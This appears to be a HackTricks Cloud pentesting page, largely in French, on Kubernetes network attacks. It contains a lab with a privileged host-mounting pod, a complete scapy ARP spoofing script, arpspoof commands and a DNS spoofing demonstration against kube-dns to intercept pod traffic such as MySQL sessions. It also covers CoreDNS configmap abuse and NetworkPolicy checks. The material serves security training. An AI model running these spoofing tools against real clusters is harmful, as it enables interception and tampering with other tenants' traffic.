Files
hacktricks-cloud/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md
T

15 KiB
Raw Blame History

Kubernetes Network Attacks

{{#include ../../banners/hacktricks-training.md}}

Introduction

Dans Kubernetes, on observe qu'un comportement par défaut permet l'établissement de connexions entre tous les conteneurs résidant sur le même node. Cela s'applique indépendamment des différences de namespace. Cette connectivité s'étend jusqu'à la Layer 2 (Ethernet). Par conséquent, cette configuration expose potentiellement le système à des vulnérabilités. Plus précisément, elle ouvre la possibilité pour un conteneur malveillant d'exécuter une ARP spoofing attack contre d'autres conteneurs situés sur le même node. Lors d'une telle attack, le conteneur malveillant peut intercepter ou modifier de manière frauduleuse le trafic réseau destiné à d'autres conteneurs.

Les ARP spoofing attacks impliquent que l'attaquant envoie des ARP falsifiés (Address Resolution Protocol) sur un réseau local. Cela a pour effet de lier la MAC address de l'attaquant à l'IP address d'un ordinateur ou serveur légitime sur le réseau. Après l'exécution réussie d'une telle attack, l'attaquant peut intercepter, modifier, ou même arrêter les données en transit. L'attack est exécutée sur la Layer 2 du modèle OSI, ce qui explique pourquoi la connectivité par défaut dans Kubernetes à cette layer soulève des préoccupations de sécurité.

Dans le scénario, 4 machines vont être créées :

  • ubuntu-pe: Machine privilégiée pour s'échapper vers le node et vérifier les métriques (pas nécessaire pour l'attack)
  • ubuntu-attack: Conteneur malveillant dans le default namespace
  • ubuntu-victim: Machine victime dans le namespace kube-system
  • mysql: Machine victime dans le default namespace
echo 'apiVersion: v1
kind: Pod
metadata:
name: ubuntu-pe
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-pe
securityContext:
allowPrivilegeEscalation: true
privileged: true
runAsUser: 0
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never
hostIPC: true
hostNetwork: true
hostPID: true
volumes:
- name: host-volume
hostPath:
path: /
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-attack
labels:
app: ubuntu
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-attack
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-victim
namespace: kube-system
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-victim
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: mysql
spec:
containers:
- image: mysql:5.6
ports:
- containerPort: 3306
imagePullPolicy: IfNotPresent
name: mysql
env:
- name: MYSQL_ROOT_PASSWORD
value: mysql
restartPolicy: Never' | kubectl apply -f -
kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash"
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"

Basic Kubernetes Networking

Si vous voulez plus de détails sur les sujets de networking introduits ici, allez aux références.

ARP

De manière générale, le pod-to-pod networking inside the node est disponible via un bridge qui relie tous les pods. Ce bridge sappelle “cbr0”. (Certains network plugins installeront leur propre bridge.) Le cbr0 peut aussi gérer la résolution ARP (Address Resolution Protocol). Lorsquun paquet entrant arrive sur cbr0, il peut résoudre ladresse MAC de destination en utilisant ARP.

Ce fait implique que, par défaut, chaque pod exécuté dans le même node va pouvoir communiquer avec nimporte quel autre pod dans le même node (indépendamment du namespace) au niveau ethernet (layer 2).

Warning

Therefore, it's possible to perform ARP Spoofing attacks between pods in the same node.

NetworkPolicy and admin policy layers

Kubernetes NetworkPolicy est un contrôle du trafic des pods au niveau L3/L4, mais il est appliqué par le plugin CNI et non par lAPI server elle-même. Un cluster peut stocker des objets NetworkPolicy tout en autorisant le trafic si le CNI actif ne les implémente pas, donc validez toujours avec une source autorisée contrôlée et une source négative de contrôle bloquée.

Ne vous arrêtez pas à kubectl get networkpolicy -A. Les clusters utilisant Cilium, Calico, OVN-Kubernetes, Antrea, ou des dataplanes de managed-provider peuvent aussi avoir des API de policy telles que CiliumNetworkPolicy, CiliumClusterwideNetworkPolicy, Calico GlobalNetworkPolicy, AdminNetworkPolicy, ou BaselineAdminNetworkPolicy. Celles-ci peuvent ajouter un deny explicite, des tier/order, un cluster scope, des règles L7/DNS, ou des garde-fous dadmin que la sémantique additive ordinaire de Kubernetes NetworkPolicy nexplique pas.

Useful first checks:

kubectl api-resources | grep -Ei 'networkpolicy|adminnetworkpolicy|cilium|calico'
kubectl get networkpolicy -A
kubectl get cnp,ccnp -A 2>/dev/null
kubectl get globalnetworkpolicy -A 2>/dev/null
kubectl get adminnetworkpolicy,baselineadminnetworkpolicy -A 2>/dev/null

Pour l'analyse de contournement, vérifiez si le blocage prévu est évité via un proxy autorisé, DNS ou egress gateway, un pod hostNetwork, un chemin local au node, un sélecteur de namespace ou de pod trop large, ou une policy admin/global de priorité supérieure. Indiquez les labels du pod source, les labels du namespace, le Service ou l'EndpointSlice de destination, l'implémentation CNI/policy, la règle de policy qui décide, et la preuve du trafic.

DNS

Dans les environnements kubernetes, vous trouverez généralement 1 (ou plus) services DNS en cours d'exécution généralement dans le namespace kube-system :

kubectl -n kube-system describe services
Name:              kube-dns
Namespace:         kube-system
Labels:            k8s-app=kube-dns
kubernetes.io/cluster-service=true
kubernetes.io/name=KubeDNS
Annotations:       prometheus.io/port: 9153
prometheus.io/scrape: true
Selector:          k8s-app=kube-dns
Type:              ClusterIP
IP Families:       <none>
IP:                10.96.0.10
IPs:               10.96.0.10
Port:              dns  53/UDP
TargetPort:        53/UDP
Endpoints:         172.17.0.2:53
Port:              dns-tcp  53/TCP
TargetPort:        53/TCP
Endpoints:         172.17.0.2:53
Port:              metrics  9153/TCP
TargetPort:        9153/TCP
Endpoints:         172.17.0.2:9153

Dans les informations précédentes, vous pouvez voir quelque chose d'intéressant, l'IP du service est 10.96.0.10 mais l'IP du pod qui exécute le service est 172.17.0.2.

Si vous vérifiez l'adresse DNS à l'intérieur de n'importe quel pod, vous trouverez quelque chose comme ceci :

cat /etc/resolv.conf
nameserver 10.96.0.10

Cependant, le pod ne sait pas comment aller à cette adresse car la plage du pod dans ce cas est 172.17.0.10/26.

Par conséquent, le pod enverra les requêtes DNS à l'adresse 10.96.0.10 qui seront traduites par le cbr0 vers 172.17.0.2.

Warning

Cela signifie qu'une requête DNS d'un pod va toujours passer par le bridge pour traduire l'IP du service vers l'IP de l'endpoint, même si le serveur DNS se trouve dans le même sous-réseau que le pod.

En sachant cela, et en sachant que des attaques ARP sont possibles, un pod sur un node pourra intercepter le trafic entre chaque pod du sous-réseau et le bridge, et modifier les réponses DNS du serveur DNS (DNS Spoofing).

De plus, si le serveur DNS se trouve sur le même node que l'attaquant, l'attaquant peut intercepter toutes les requêtes DNS de n'importe quel pod du cluster (entre le serveur DNS et le bridge) et modifier les réponses.

Note

Validez le CNI actif et le chemin DNS avant de supposer que cela fonctionne dans un vrai cluster. Certains CNIs routent ou isolent différemment le trafic sur le même node, et les clusters utilisant NodeLocal DNSCache peuvent envoyer les requêtes DNS des pods vers une adresse locale au node avant de les transférer à CoreDNS. Dans ces environnements, le DNS spoofing dépend du placement des pods, des capacités de packet, de la configuration du resolver, du comportement du cache local au node, et du fait que les applications vérifient ou non les peers avec TLS ou un autre mécanisme d'identité.

ARP Spoofing in pods in the same Node

Notre objectif est de voler au moins la communication de ubuntu-victim vers mysql.

Scapy

python3 /tmp/arp_spoof.py
Enter Target IP:172.17.0.10 #ubuntu-victim
Enter Gateway IP:172.17.0.9 #mysql
Target MAC 02:42:ac:11:00:0a
Gateway MAC: 02:42:ac:11:00:09
Sending spoofed ARP responses

# Get another shell
kubectl exec -it ubuntu-attack -- bash
ngrep -d eth0

# Login from ubuntu-victim and mysql and check the unencrypted communication
# interacting with the mysql instance
#From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py
from scapy.all import *

def getmac(targetip):
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
return targetmac

def spoofarpcache(targetip, targetmac, sourceip):
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
send(spoofed, verbose= False)

def restorearp(targetip, targetmac, sourceip, sourcemac):
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
send(packet, verbose=False)
print("ARP Table restored to normal for", targetip)

def main():
targetip= input("Enter Target IP:")
gatewayip= input("Enter Gateway IP:")

try:
targetmac= getmac(targetip)
print("Target MAC", targetmac)
except:
print("Target machine did not respond to ARP broadcast")
quit()

try:
gatewaymac= getmac(gatewayip)
print("Gateway MAC:", gatewaymac)
except:
print("Gateway is unreachable")
quit()
try:
print("Sending spoofed ARP responses")
while True:
spoofarpcache(targetip, targetmac, gatewayip)
spoofarpcache(gatewayip, gatewaymac, targetip)
except KeyboardInterrupt:
print("ARP spoofing stopped")
restorearp(gatewayip, gatewaymac, targetip, targetmac)
restorearp(targetip, targetmac, gatewayip, gatewaymac)
quit()

if __name__=="__main__":
main()

# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward

ARPSpoof

apt install dsniff
arpspoof -t 172.17.0.9 172.17.0.10

DNS Spoofing

Comme cela a déjà été mentionné, si vous compromettez un pod sur le même node que le pod du DNS server, vous pouvez faire du MitM avec ARPSpoofing entre le bridge et le pod DNS et modifier toutes les réponses DNS.

Vous avez un très bon tool et tutorial pour tester cela dans https://github.com/danielsagi/kube-dnsspoof/

Dans notre scénario, téléchargez le tool dans le pod attacker et créez un fichier nommé hosts avec les domains que vous voulez spoof comme :

cat hosts
google.com. 1.1.1.1

Effectuez l'attaque sur la machine ubuntu-victim :

python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
Bridge:  172.17.0.1 02:42:bd:63:07:8d
Kube-dns:  172.17.0.2 02:42:ac:11:00:02

[+] Taking over DNS requests from kube-dns. press Ctrl+C to stop
#In the ubuntu machine
dig google.com
[...]
;; ANSWER SECTION:
google.com.		1	IN	A	1.1.1.1

Note

If you try to create your own DNS spoofing script, if you just modify the the DNS response that is not going to work, because the response is going to have a src IP the IP address of the malicious pod and won't be accepted.
You need to generate a new DNS packet with the src IP of the DNS where the victim send the DNS request (which is something like 172.16.0.2, not 10.96.0.10, thats the K8s DNS service IP and not the DNS server ip, more about this in the introduction).

DNS Spoofing via coreDNS configmap

Un utilisateur avec des permissions d'écriture sur le configmap coredns dans le namespace kube-system peut modifier les réponses DNS du cluster.

Also review NodeLocal DNSCache if it is deployed. It usually runs as a hostNetwork DaemonSet and has its own ConfigMap, logs, cache, and forwarding path. A CoreDNS change may not be the only place where DNS behavior can be affected or observed.

Check more information about this attack in:

{{#ref}} abusing-roles-clusterroles-in-kubernetes/README.md {{/ref}}

Abusing exposed kubernetes management services

Des services comme Apache NiFi, Kubeflow, Argo Workflows, Weave Scope, et le Kubernetes dashboard sont souvent exposés soit à internet, soit au sein du réseau kubernetes. Un attaquant qui parvient à trouver une plateforme utilisée pour gérer kubernetes et à y accéder peut l'abuser pour obtenir un accès à l'API kubernetes et effectuer des actions comme créer de nouveaux pods, modifier ceux existants, ou même les supprimer.

Enumerating kubernetes network policies

Get configured networkpolicies:

kubectl get networkpolicies --all-namespaces

Obtenir les network policies Callico:

kubectl get globalnetworkpolicy --all-namespaces

Obtenir les network policies Cillium :

kubectl get ciliumnetworkpolicy --all-namespaces

Obtenez d'autres CRD liés aux policy installés par votre network plugin ou votre solution de sécurité :

kubectl get crd | grep -i policy

Capturing Traffic

L'outil Mizu est un visualiseur de traffic API simple mais puissant pour Kubernetes, permettant de voir toute la communication API entre microservices afin de vous aider à debugger et à résoudre les régressions.
Il installera des agents dans les pods sélectionnés et collectera leurs informations de traffic pour vous les afficher dans un web server. Cependant, vous aurez besoin de permissions K8s élevées pour cela (et ce n'est pas très stealthy).

References

{{#include ../../banners/hacktricks-training.md}}